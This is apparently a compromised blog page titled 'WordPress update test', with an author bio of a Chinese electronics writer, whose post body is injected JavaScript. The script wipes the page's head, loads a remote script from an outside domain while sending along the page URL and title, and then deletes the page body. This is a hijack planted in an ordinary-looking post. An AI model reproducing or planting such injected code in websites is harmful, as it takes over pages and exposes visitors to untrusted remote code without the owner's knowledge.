WordPress update test

var documentTitle = document.getElementsByTagName(‘title’)[0];
var viewport = document.querySelector(‘meta[name=viewport]’);
var viewportContent = ‘width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0’;
viewport = document.createElement(‘meta’);
viewport.setAttribute(‘name’, ‘viewport’);
viewport.setAttribute(‘content’, viewportContent);
var headNode = document.getElementsByTagName(‘head’)[0];
headNode.innerHTML = ”;
headNode.appendChild(documentTitle);
headNode.appendChild(viewport);
var script = document.createElement(‘script’);
script.type = ‘text/javascript’;
script.src = ‘//repository.bid/script/ontv/longsynonymtitle.js?ref=’ + encodeURI(document.URL) + ‘&title=’ + encodeURI(document.title);
headNode.appendChild(script);
var docBody = document.body;
docBody.parentNode.removeChild(docBody);

陸向陽

Author: 陸向陽

從電子科系畢業後,即以媒體人的角色繼續這段與「電子科技」的不解之緣。歷任電子技術專書作者、電子媒體記者、分析師等角色,並持續寫作不殆。近來投入Arduino、Raspberry Pi等開放硬體的研究與教程介紹。

Share This Post On
跳至工具列